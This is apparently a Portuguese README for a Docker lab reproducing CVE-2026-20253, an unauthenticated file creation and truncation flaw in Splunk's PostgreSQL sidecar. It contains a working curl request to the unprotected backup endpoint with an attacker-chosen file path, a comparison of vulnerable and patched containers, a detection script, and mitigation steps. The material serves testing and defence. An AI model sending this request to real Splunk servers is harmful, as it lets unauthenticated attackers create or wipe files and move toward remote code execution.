
POC for CVE-2026-20253
Criação e Truncamento Arbitrário de Arquivos não Autenticados via Sidecar PostgreSQL
CVSS 9.8 · Crítico · CWE-306 · Ativamente explorado (CISA KEV)
Este repositório é destinado estritamente para fins educacionais e de pesquisa de segurança autorizada.
Todos os testes devem ser realizados contra infraestrutura própria ou para a qual você tenha permissão explícita por escrito.
Os autores não assumem qualquer responsabilidade pelo uso indevido das técnicas ou ferramentas aqui demonstradas.
Nunca execute isso em sistemas de produção ou ambientes que não sejam seus.
O CVE-2026-20253 afeta versões do Splunk Enterprise anteriores a 10.2.4 e 10.0.7.
O serviço sidecar PostgreSQL empacotado com o Splunk expõe dois endpoints HTTP internos:
/v1/postgres/recovery/backup
/v1/postgres/recovery/restore
Ambos os endpoints carecem de qualquer verificação de autenticação (CWE-306), o que significa que qualquer atacante com alcance de rede pode invocá-los sem credenciais. Ao fornecer um parâmetro backupFile controlado pelo atacante, um usuário não autenticado pode criar ou truncar arquivos arbitrários no sistema de arquivos do host Splunk — uma primitiva que pesquisadores encadearam em Execução Remota de Código completa pré-autenticação.
.
├── Dockerfile # Vulnerable image (splunk 10.2.3)
├── docker-compose.yml # Vulnerable container on port 8000
├── patched.Dockerfile # Patched image (splunk 10.2.4)
├── patched-docker-compose.yml # Patched container on port 8001
└── instructions # Quick command reference
curl disponíveldocker compose -f docker-compose.yml up -d --build
Aguarde aproximadamente 90 segundos para o Splunk inicializar completamente. Acompanhe o progresso com:
docker compose -f docker-compose.yml logs -f
# Pronto quando você vir: "Ansible playbook complete"
Interface Web Splunk → http://localhost:8000
Credenciais: admin / changeme
docker compose -f patched-docker-compose.yml up -d --build
Interface Web Splunk → http://localhost:8001
Credenciais: admin / changeme
Ambos os contêineres podem ser executados lado a lado — as portas são deslocadas para evitar conflitos.
curl -sk -X POST "http://localhost:8000/en-US/splunkd/__raw/v1/postgres/recovery/backup" -H "Authorization: Basic cHNzZWM6Cg==" -d '{"database":"postgres","backupFile":"/tmp/poc"}' -o /dev/null -w "HTTP Status: %{http_code}\n"
Esperado: 400 — o endpoint existe, nenhuma autenticação foi imposta, a requisição foi processada.
Verifique se o arquivo foi criado dentro do contêiner:
docker exec splunk-cve-2026-20253 ls -la /tmp/poc
curl -sk -X POST "http://localhost:8001/en-US/splunkd/__raw/v1/postgres/recovery/backup" -H "Authorization: Basic cHNzZWM6Cg==" -d '{"database":"postgres","backupFile":"/tmp/poc"}' -o /dev/null -w "HTTP Status: %{http_code}\n"
Esperado: 401 — a autenticação agora é imposta, requisição rejeitada.
| Status HTTP |
|---|
A equipe watchTowr Labs publicou um script de detecção que automatiza a verificação acima:
git clone https://github.com/watchtowrlabs/watchTowr-vs-Splunk-CVE-2026-20253
cd watchTowr-vs-Splunk-CVE-2026-20253
pip3 install requests
python3 watchTowr-vs-Splunk-CVE-2026-20253.py --host 127.0.0.1 --port 8000
# Parar vulnerável
docker compose -f docker-compose.yml down
# Parar corrigido
docker compose -f patched-docker-compose.yml down
Atualize para uma versão corrigida imediatamente:
| Ramo | Versão Corrigida |
|---|---|
| 10.2.x | 10.2.4 |
| 10.0.x | 10.0.7 |
Se não puder aplicar a correção imediatamente, desabilite o sidecar PostgreSQL adicionando o seguinte ao server.conf e reiniciando o Splunk:
[postgres]
disabled = true
⚠️ Não desabilite o sidecar se estiver executando pipelines de dados Edge Processor ou SPL2 — ele é necessário para esses recursos.
Este ambiente de laboratório é fornecido apenas para pesquisa de segurança defensiva e educação.
O acesso não autorizado a sistemas de computador é ilegal sob o Computer Fraud and Abuse Act (CFAA), o UK Computer Misuse Act e legislação equivalente em todo o mundo.
Use com responsabilidade.
| Propriedade | Detalhe |
|---|
| CVE | CVE-2026-20253 |
| Pontuação CVSS | 9.8 (Crítico) |
| CWE | CWE-306 — Ausência de Autenticação para Função Crítica |
| Afetado | Splunk Enterprise 10.0.x < 10.0.7, 10.2.x < 10.2.4 |
| Corrigido Em | 10.0.7, 10.2.4 |
| CISA KEV | Adicionado em 18 de junho de 2026 |
| Significado |
|---|
400 | Vulnerável — endpoint atingido, sem verificação de autenticação |
401 | Corrigido — autenticação imposta |
404 | Sidecar não presente / caminho errado |
000 | Contêiner ainda não está pronto |